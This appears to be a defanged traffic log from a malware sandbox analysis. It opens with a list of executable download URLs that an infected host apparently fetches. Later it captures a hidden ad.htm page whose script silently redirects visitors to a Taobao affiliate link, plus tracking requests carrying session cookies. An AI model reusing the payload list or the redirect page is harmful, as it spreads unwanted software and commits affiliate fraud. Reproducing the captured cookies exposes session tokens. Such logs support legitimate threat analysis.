;0;1;MTview.exe;83.....114...............;hXXp://down.secaikan.com/sck
t/jm/setup_scx150006.exe;setup_scx150006.exe;0;0;......;0;0;PSeeMain.e
xe;107.................;hXXp://down.qii678.com/news/Fresh_20l5_052036f
c.exe;Fresh_20l5_052036fc.exe;0;0;......;0;0;SuprHotFlosh.exe;66......
.......................;hXXp://down.hanhan521.com/Pack/xun_1072.exe;xu
n_1072.exe;0;0;......;0;0;GameBox.exe;115.....ZM...............;http:/
/download.juezhao123.com/setup/setup_30015.exe;setup_30015.exe;0;0;...
...;50;0;anote.exe;117.....114...............;hXXp://VVV.xz9u.com/my_3
_14_yy.exe;my_3_14_yy.exe;0;0;......;0;0;;118.....114.........;hXXp://
download.suxiazai.com/for_down/2013/install1552763.exe;install1552763.
exe;0;0;......;0;1;RsMgrSvc.exe;98................................;htt
p://d.92youx.com/channel/360yx/907242/attent.exe;attent.exe;0;0;......
;0;0;;71.....7654...............;hXXp://down.7654.com/downloads/re
<<< skipped >>>

GET /t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=558qJCi5lfDmNxpSGDi6si7lyGrLBGCr HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://s.click.taobao.com/t_js?tu=http://s.click.taobao.com/t?e=m%3D2%26s%3D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%2BV2hm%2FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%2FDpPH01wK9AmARIwX9K%2BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=558qJCi5lfDmNxpSGDi6si7lyGrLBGCr

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s.click.taobao.com

Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:06 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Set-Cookie: miid=6253757304298920846; expires=Sun, 25-Feb-2018 17:57:06 GMT; path=/; domain=.taobao.com

Location: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Expires: Mon, 01 Jun 2015 17:57:06 GMT

Cache-Control: max-age=0
0..

GET /ad.htm HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: jc.110160.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Length: 757

Content-Type: text/html

Last-Modified: Thu, 14 May 2015 08:58:36 GMT

Accept-Ranges: bytes

ETag: "84468729248ed01:125c"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Mon, 01 Jun 2015 17:56:58 GMT
<html>..<body>..    <div style="display: none">  ..&
lt;script language="javascript" type="text/javascript" src="hXXp://js.
users.51.la/17745949.js"></script>..<noscript><a hre
f="hXXp://VVV.51.la/?17745949" target="_blank"><img alt="我
;要啦免费统计" src="hXXp://img.use
rs.51.la/17745949.asp" style="border:none" /></a></noscrip
t>..</div>..    <script language="javascript" type="text/j
avascript">..         setTimeout("location.href='hXXp://s.click.tao
bao.com/t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguM
N8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4V
ibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdX
pojKJn5AyUbPoV';", 100);..    </script>..</body>..</htm
l>..HTTP/1.1 200 OK..Content-Length: 757..Content-Type: text/html..
Last-Modified: Thu, 14 May 2015 08:58:36 GMT..Accept-Ranges: bytes..ET
ag: "84468729248ed01:125c"..Server: Microsoft-IIS/6.0..X-Powered-By: A
SP.NET..Date: Mon, 01 Jun 2015 17:56:58 GMT..<html>..<body>
;..    <div style="display: none">  ..<script language="javas
cript" type="text/javascript" src="hXXp://js.users.51.la/17745949.js"&
gt;</script>..<noscript><a href="hXXp://VVV.51.la/?1774
5949" target="_blank"><img alt="我要啦免
费统计" src="hXXp://img.users.51.la/17745949.asp" st
yle="border:none" /></a></noscript>..</div>..
<<< skipped >>>

GET /tps/i1/TB10W7HHpXXXXX3aXXXrywt4VXX-120-120.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms01.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 14267

Connection: keep-alive

Date: Mon, 01 Jun 2015 00:01:20 GMT

Last-Modified: Tue, 26 May 2015 11:42:46 GMT

Expires: Thu, 29 May 2025 00:01:20 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache22.l2de1[0,200-0,H], cache48.l2de1[0,0], cache4.de1[0,200-0,H], cache9.de1[0,0]

Age: 64549

X-Cache: HIT TCP_MEM_HIT dirn:5:780137630

X-Swift-SaveTime: Mon, 01 Jun 2015 00:10:34 GMT

X-Swift-CacheTime: 315359446
.PNG........IHDR...x...x.....9d6.... cHRM..z%..............u0...`..:..
..o._.F....bKGD..............pHYs.................vpAg...x...x..E.[..6
.IDATx...i.m.u..[...>...t....1<....$ X. .,.T..T$.qd.....9..IJN..
..... .,:.#..-GN).X....i..h..g...7..w<..{..^...9...... ......>..
..t....k.-..M.q...?.&..t....n.|..M.op....N7....&.78.........t....n.|..
M.op....N7....&.78.........t....n.|..M.opr.....S...1F...c0..e.Y.......
..^..i.j.....<.7U...).F.k-1..wG..........wU.6.z.N...e.1o.....{...k.
.G..|dt..S..h..I.d{..e..<.<.v............._........P...V)"o..y..
{......c.{..\.r...i:.....{..v.....k.~...#..m...R.%"B.$.{w_K..^..y.....
Dy....W.=i.""....N......G.....n...q..t...z.k.f.c..e.k...s...)x..}.0...
IU..<..1..CD(...&Co.........2p...p,P......Be.nc...\..=...u.......m.
[email protected]...\....O_...G...eL.S...g<......6.n.|.......y.../.......
0.s.k..Z.0.8.*...*0........._ ...:....WY..Q|......c&.O.a..1f......4.S.
...]..z...(.9!B..$I...W...w.B..Zk.....yZ{..{..G....:..}...xA...J.q..:.
..[@....L.....d!T....j..qxt.}..{...x...?...........~W...{?1....(.b..K[
. h....O.d.Nk..J..4M'.t=M.:.m...V......1..iB....~..'...{..=..........m
.n............z...o2......<.t,..,....W......>..x.N....-..]...._.
;.f.`....L4..D].cu.Q........c.!L...a.M.....z....HU.Bc.....0..........8
#.f<.I..$.....=. ]m.....U...;-ww....0u. ...x.~..h....C.$8.&6..27...
Si.O..s...j...8:...i.c.8..ZKY..d.>He;O.>|......X..6.xz.......r..
..T.w.`. .9.xL..{4......V.u.......z./.'b......Sk...N.2.......S..1=...=
......r.M<...;x~~.j.H.......J....6Z.GGsr]...I..;x.N...i.;......
<<< skipped >>>

GET /tps/i1/TB1BCuuGXXXXXX5XVXXliWH8FXX-126-354.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtd.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 16937

Connection: keep-alive

Date: Thu, 06 Nov 2014 11:29:45 GMT

Last-Modified: Fri, 05 Sep 2014 08:20:14 GMT

Expires: Sun, 03 Nov 2024 11:29:45 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache62.l2de1[0,200-0,H], cache35.l2de1[0,0], cache7.uk1[0,200-0,H], cache11.uk1[0,0]

Age: 17908046

X-Cache: HIT TCP_MEM_HIT dirn:4:782287802

X-Swift-SaveTime: Tue, 07 Apr 2015 09:20:15 GMT

X-Swift-CacheTime: 302234970
.PNG........IHDR...~...b.....0@l.... cHRM..z%..............u0...`..:..
..o._.F....bKGD..............pHYs.................vpAg...~...b.r.....A
&IDATx...yx.E....=.'.... .$ ...S. ...u.*..... . .^..."*Ht]$..z l..( ,w
 \..e B.."......d...?z....L&.LH..<O?3.U]]..._.]E [email protected]...
[email protected] s.O...u..]%.>I..-...75<..?.]\
[email protected]..}..r6r..N.......7~:. c.=..R<i........>O..~.GA9m...
..............U.!PD...=.u...?a..zG..x.>......Wq..&.,...;J..".o.n..e
\....k...........u....I... ...n.....'.=..m2-.0fR...2.......q...2......
..(.}......k/.....;~...u.".L}...r\.... ...n.P....... ..Y.}Y.V..{k.3.[\
......Y.5.....p.|.!....p.<..>..P.|.<<.;)..<^.........D.
.-.... ..8..oY.Lt.i.............. (...9..x.@.....~Hw".w...q...^.=...[:
...8..s.0.I0AJ.../M._..! W<...om.eS.f.....WB)..r..F~..y.5K>..b..
.(..9..7....P......0......k..47..q..Ix.....'..../0....u..`.*.K.@U.... 
.7M(.1.~.~e.@.....}......x[.zs...f^. \6..A=`:........ll8.....^,....o..
.......[._9b....Q.!.[.....w:......0.d. [email protected]..~...`{.I...i5.....y.
yd$....6..Y.........7...F0Da..$.......qQ.._..\v..s:.........Gs....z...
(....9.I#..F.c..{..3c............Gp....P....tN....U. ]...U...t.oM..F)&
lt;G..;'....1.[0..M.....5.?f.....M.......J...h.r..{b.....`...0|.&.o'..
.,|[email protected].... A....:......Z.@?...y.....o.b0w....G.=......_..|AE..t..
.B..54..f..i.].{..m.{.......M......-.'...`.....w.p....^...8.>H....0
~u....U...(.....O...?.......J.9BN......x...u.w8......k....-...q....._.
.R..k~..cD.....k......._KQ........V..[......n..k.].O>..C....N).
<<< skipped >>>

GET /stat.php?id=1254485011 HTTP/1.1

Accept: */*

Referer: hXXp://61.196.186.155:73/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s11.cnzz.com

Connection: Keep-Alive

Cookie: cna=74rzDSF6YRECAcGK9Oe2PPyt

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Content-Length: 10075

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:49:42 GMT

Last-Modified: Mon, 01 Jun 2015 17:49:42 GMT

Cache-Control: max-age=5400,s-maxage=5400

Via: cache44.l2de1[673,200-0,M], cache59.l2de1[673,0], cache6.de1[0,200-0,H], cache6.de1[0,0]

Age: 447

X-Cache: HIT TCP_MEM_HIT dirn:-2:-2

X-Swift-SaveTime: Mon, 01 Jun 2015 17:49:42 GMT

X-Swift-CacheTime: 5400
(function(){function k(){this.c="1254485011";this.R="z";this.N="";this
.K="";this.M="";this.r="1433180982";this.P="oz.cnzz.com";this.L="";thi
s.u="CNZZDATA" this.c;this.t="_CNZZDbridge_" this.c;this.F="_cnzz_CV" 
this.c;this.G="CZ_UUID" this.c;this.v="0";this.A={};this.a={};this.la(
)}function g(a,b){try{var c=.[];c.push("siteid=1254485011");c.push("na
me=" f(a.name));c.push("msg=" f(a.message));c.push("r=" f(h.referrer))
;c.push("page=" f(e.location.href));c.push("agent=" f(e.navigator.user
Agent));c.push("ex=" f(b));c.push("rnd=" Math.floor(2147483648*Math.ra
ndom()));(new Image).src="hXXp://jserr.cnzz.com/log.php?" c.join("&")}
catch(d){}}var h=document,e=window,f=encodeURIComponent,l=decodeURICom
ponent,n=unescape,p=escape;k.prototype={la:function(){try{this.U(),thi
s.J(),this.ia(),this.H(),this.o(),.this.ga(),this.fa(),this.ja(),this.
j(),this.ea(),this.ha(),this.ka(),this.ca(),this.aa(),this.da(),this.q
a(),e[this.t]=e[this.t]||{},this.ba("_cnzz_CV")}catch(a){g(a,"i failed
")}},oa:function(){try{var a=this;e._czc={push:function(){return a.B.a
pply(a,arguments)}}}catch(b){g(b,"oP failed")}},aa:function(){try{var 
a=e._czc;if("[object Array]"==={}.toString.call(a))for(var b=0;b<a.
length;b  ){var c=a[b];switch(c[0]){case "_setAccount":e._cz_account="
[object String]"==={}.toString.call(c[1])?c[1]:String(c[1]);.break;cas
e "_setAutoPageview":"boolean"===typeof c[1]&&(e._cz_autoPageview=c[1]
)}}}catch(d){g(d,"cS failed")}},qa:function(){try{if("undefined"===typ
eof e._cz_account||e._cz_account===this.c){e._cz_account=this.c;if
<<< skipped >>>

GET /tps/i3/TB1BnawHFXXXXaNaXXXgMSN.FXX-130-50.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms03.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 3159

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:38:53 GMT

Last-Modified: Thu, 23 Apr 2015 07:13:35 GMT

Expires: Thu, 29 May 2025 11:38:53 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache56.l2de1[301,200-0,M], cache61.l2de1[302,0], cache7.de1[0,200-0,H], cache9.de1[0,0]

Age: 22695

X-Cache: HIT TCP_MEM_HIT dirn:5:485893713

X-Swift-SaveTime: Mon, 01 Jun 2015 11:38:53 GMT

X-Swift-CacheTime: 315360000
.PNG........IHDR.......2.............tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:48CD5C03E1AC11E4AC43DC
6CD8CA760C" xmpMM:DocumentID="xmp.did:48CD5C04E1AC11E4AC43DC6CD8CA760C
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:48CD5C01E1AC11E4
AC43DC6CD8CA760C" stRef:documentID="xmp.did:48CD5C02E1AC11E4AC43DC6CD8
CA760C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>........PLTE.............`.....F........}
u..........b|..........{g....8v....u........W^.......l.....7..........
....F..g^.8^................s.....{........6.....I^.....w.......G.....
...V...........T....._....................)i.)`....,.. y..v..w.....~.*
r........~.ah............................T...........}................
....Vi.t..t..t..aq.5..Hi.-..)^.......(_.)`.............)_.-...........
............5....................t........U........`........)^........
........|...........t....................lg.G...n....up.ux....}.......
....Vq............................^...............................
<<< skipped >>>

GET /tps/i3/TB1ODS9HFXXXXbaXFXXMmPIJFXX-9-7.gif HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms03.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/gif

Content-Length: 1323

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:10:18 GMT

Last-Modified: Sat, 25 Apr 2015 14:17:37 GMT

Expires: Thu, 29 May 2025 11:10:18 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache30.l2de1[0,200-0,H], cache39.l2de1[1,0], cache2.de1[0,200-0,H], cache9.de1[1,0]

Age: 24411

X-Cache: HIT TCP_MEM_HIT dirn:7:674129622

X-Swift-SaveTime: Mon, 01 Jun 2015 11:16:56 GMT

X-Swift-CacheTime: 315359602
GIF89a.............!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin
="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe
:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:4
4:00        "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-
rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http
://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/
sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:Ori
ginalDocumentID="xmp.did:02173465-d404-4b7b-bdf5-3b77242461ce" xmpMM:D
ocumentID="xmp.did:4EC8B078E28411E48DA0C5916A68EE5E" xmpMM:InstanceID=
"xmp.iid:4EC8B077E28411E48DA0C5916A68EE5E" xmp:CreatorTool="Adobe Phot
oshop CC 2014 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID=
"xmp.iid:4236c97f-561f-4a8a-b455-ce8185ecc2f9" stRef:documentID="adobe
:docid:photoshop:e0f0ed29-2ae1-1178-8075-fbaef41d6a4d"/> </rdf:D
escription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r
"?>................................................................
..................................................................~}|{
zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;
:9876543210/.-, *)('&%$#"! .................................!.......,.
.................l`....!.......,.............y.....IVT..!.......,.....
.............l`....!.......,.............y.....IVT..;....
<<< skipped >>>

GET /tps/i3/TB1nrpzIXXXXXbFXpXXSgLWZVXX-290-420.jpg_q90.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms03.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 40702

Connection: keep-alive

Date: Mon, 01 Jun 2015 03:35:43 GMT

Last-Modified: Mon, 01 Jun 2015 03:29:24 GMT

Expires: Thu, 29 May 2025 03:35:43 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache39.l2de1[0,200-0,H], cache11.l2de1[0,0], cache7.de1[0,200-0,H], cache9.de1[0,0]

Age: 51686

X-Cache: HIT TCP_MEM_HIT dirn:2:467285789

X-Swift-SaveTime: Mon, 01 Jun 2015 03:35:49 GMT

X-Swift-CacheTime: 315359994
......JFIF.............C..............................................
#....!!!..$'$ &. ! ...C........... ...                                
                  ........"...........................................
.k...........................!1.AQa.."2q....#r...3BRbs....$4CSt.......
..57TUcdf..........%'6DFVg.&Eeu.GHW...................................
L........................!..1A.Qa.."2Rq......Br...34CSb.....#5...$%D..
FcTs.............?...a?D.&.[.(..K.^...l...4.-.[.w..=.....p.,{[email protected].(
..p.4=......@(....dg.....;.B~O.j.p8.../@.'..8..h....q.Q$z... .\H..h>
;X..Y.N.[.VX{...P.. {[email protected]..
..6x.......".S....'..`........4.`..76.{...=`.......F@.=U..D..H..C}E..o
Ze.....l!..Q#.=]..R....9X......MY...Mn..i...}#..{^k...y.".$.2r..H..(..
g...f.....[.....2.I.0....J..9...d......y.yZ.t.....-7....n.}Z.C...{.#s.
].(..X\..ai..k....m>.`T.9>......;.Z.O..u.D-..I...pLK[M.\!.w.@...
..55FM].p.m.[..t..n.-=...b.*K..j.J..U....)\FRH...T.G...^..BK.....Q...5
k...8......c{u,.2..y.x.r....N.hx\...~3x.ou..V.....G.....=.LZ...o1.....
.)D..=C.]UV....zM..L....k.}.....s~..6...~O.j.p>........O...[.';...j
...(..9.R.....\>.... ...b.e..L.b...R...`=.H.#.X...`..O. ...!\)...8.
.a..XSAX.r...uU..X...r;.......r.........;... ..J..'upqQ..D.}mX.....v.E
.T.h..,.}#.t.....t.\b.../F.\iE)P...#. |.S..[........x....).V...kU....,
..F.:.U..B~.Rbo.#.AJ.G..z*t....>.....U.~K...7W.R4......Lm:..G.....h
$#x.yj.y.eW.Q.z.....f.:qo....y.v ./l.......fzM.$....u.).)...3..T.'..V.
V.M.._....5e..'....D.F.a.`K.K.i.}.......u..8.....OY.WU...#...y8*..
<<< skipped >>>

GET /tps/i3/TB1QMwDHVXXXXaFXXXXNDV3FVXX-150-50.gif HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms03.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/gif

Content-Length: 138960

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:14:02 GMT

Last-Modified: Thu, 28 May 2015 08:46:08 GMT

Expires: Thu, 29 May 2025 11:14:02 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache59.l2de1[0,200-0,H], cache55.l2de1[1,0], cache5.de1[0,200-0,H], cache9.de1[0,0]

Age: 24189

X-Cache: HIT TCP_MEM_HIT dirn:1:269399069

X-Swift-SaveTime: Mon, 01 Jun 2015 11:17:01 GMT

X-Swift-CacheTime: 315359821
GIF89a..2.....:[....My.=YR 0.5[./Q.#W.Er.b..KJ.......GV.XQ..........KV
.OT...k06.BX....u.....*C._O....-K.......Ch.4U.u........CC....RT....r..
......X.....BS.......wr......%$%.......Vi.f`...yh.....cu...UL.........
.....TQ..,.F3...............3('eX..UN...............-.,.w .y.......rI%
..(................*W..B.............j..;l............................
oh.......7_....7;..{....5h..3.i:.)^[D).{..XA...:3!..H.................
$|'>....vM....,a.ZY.HK....g........N1...ma.K 3.......eP............
iab.....A./d....2f..../XE<........u.....E]..........].....3X.GU....
.........w.....O^.XP.Kd.KT.9Y.CS.>T.......S^>!/.BV......`#7...86
;.Gg.=X.w..,]....-].0].PR. ]....2].[Q.]O....]Q.... _..&....-_.0_.-]...
....rO....3`.1f....(Y. ]._\./d.3\.?Y....0[....0\.:U.)^.LP..0.qy.s.....
......`P.*_.......)_...!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket b
egin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="a
dobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-
19:44:00        "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02
/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="
hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/
1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM
:OriginalDocumentID="xmp.did:827c50e5-eb45-490d-bdb7-578b1bc32878" xmp
MM:DocumentID="xmp.did:E739D189FC6211E499688F5114B067D3" xmpMM:Instanc
eID="xmp.iid:E739D188FC6211E499688F5114B067D3" xmp:CreatorTool="Adobe 
Photoshop CC 2014 (Macintosh)"> <xmpMM:DerivedFrom stRef:ins
<<< skipped >>>

GET /z_stat.php?id=1255080332 HTTP/1.1

Accept: */*

Referer: hXXp://tongji.110160.com/will.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s95.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Content-Length: 10075

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:49:33 GMT

Last-Modified: Mon, 01 Jun 2015 17:49:33 GMT

Cache-Control: max-age=5400,s-maxage=5400

Via: cache42.l2de1[581,200-0,M], cache64.l2de1[582,0], cache1.de1[0,200-0,H], cache8.de1[1,0]

Age: 448

X-Cache: HIT TCP_MEM_HIT dirn:-2:-2

X-Swift-SaveTime: Mon, 01 Jun 2015 17:49:33 GMT

X-Swift-CacheTime: 5400
(function(){function k(){this.c="1255080332";this.R="z";this.N="";this
.K="";this.M="";this.r="1433180973";this.P="oz.cnzz.com";this.L="";thi
s.u="CNZZDATA" this.c;this.t="_CNZZDbridge_" this.c;this.F="_cnzz_CV" 
this.c;this.G="CZ_UUID" this.c;this.v="0";this.A={};this.a={};this.la(
)}function g(a,b){try{var c=.[];c.push("siteid=1255080332");c.push("na
me=" f(a.name));c.push("msg=" f(a.message));c.push("r=" f(h.referrer))
;c.push("page=" f(e.location.href));c.push("agent=" f(e.navigator.user
Agent));c.push("ex=" f(b));c.push("rnd=" Math.floor(2147483648*Math.ra
ndom()));(new Image).src="hXXp://jserr.cnzz.com/log.php?" c.join("&")}
catch(d){}}var h=document,e=window,f=encodeURIComponent,l=decodeURICom
ponent,n=unescape,p=escape;k.prototype={la:function(){try{this.U(),thi
s.J(),this.ia(),this.H(),this.o(),.this.ga(),this.fa(),this.ja(),this.
j(),this.ea(),this.ha(),this.ka(),this.ca(),this.aa(),this.da(),this.q
a(),e[this.t]=e[this.t]||{},this.ba("_cnzz_CV")}catch(a){g(a,"i failed
")}},oa:function(){try{var a=this;e._czc={push:function(){return a.B.a
pply(a,arguments)}}}catch(b){g(b,"oP failed")}},aa:function(){try{var 
a=e._czc;if("[object Array]"==={}.toString.call(a))for(var b=0;b<a.
length;b  ){var c=a[b];switch(c[0]){case "_setAccount":e._cz_account="
[object String]"==={}.toString.call(c[1])?c[1]:String(c[1]);.break;cas
e "_setAutoPageview":"boolean"===typeof c[1]&&(e._cz_autoPageview=c[1]
)}}}catch(d){g(d,"cS failed")}},qa:function(){try{if("undefined"===typ
eof e._cz_account||e._cz_account===this.c){e._cz_account=this.c;if
<<< skipped >>>

GET /json/collect_mark.htm?_ksTS=1433181431291_98&callback=jsonp99 HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: dskip.ju.taobao.com

Connection: Keep-Alive

Cookie: miid=6253757304298920846; v=0; cookie2=1c3cfe0ac26828dd2b4d453adc72d5dc; t=7805c21e133a087bd21782c2fc4eeccb; _tb_token_=99grvpQKSo; cna=74rzDSF6YRECAcGK9Oe2PPyt; isg=CD75466E96B7C1255EF63CC048D0E982; l=Ap2dqUHVUxyoJyUQzxKcSA8x7XWXutEM; bid=7; jc=shanghai

HTTP/1.1 200 OK

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:12 GMT

Content-Type: text/html;charset=GBK

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Server-Num: judetail010179138144.s.et2

S: STATUS_NORMAL

Pragma: no-cache

Cache-Control: no-cache

Set-Cookie: uc1=cookie14=UoW0EaPwBRzqkw==; Domain=.taobao.com; Path=/

Set-Cookie: cookie2=1c3cfe0ac26828dd2b4d453adc72d5dc;Domain=.taobao.com;Path=/;HttpOnly

Set-Cookie: t=7805c21e133a087bd21782c2fc4eeccb; Domain=.taobao.com; Expires=Sun, 30-Aug-2015 17:57:12 GMT; Path=/

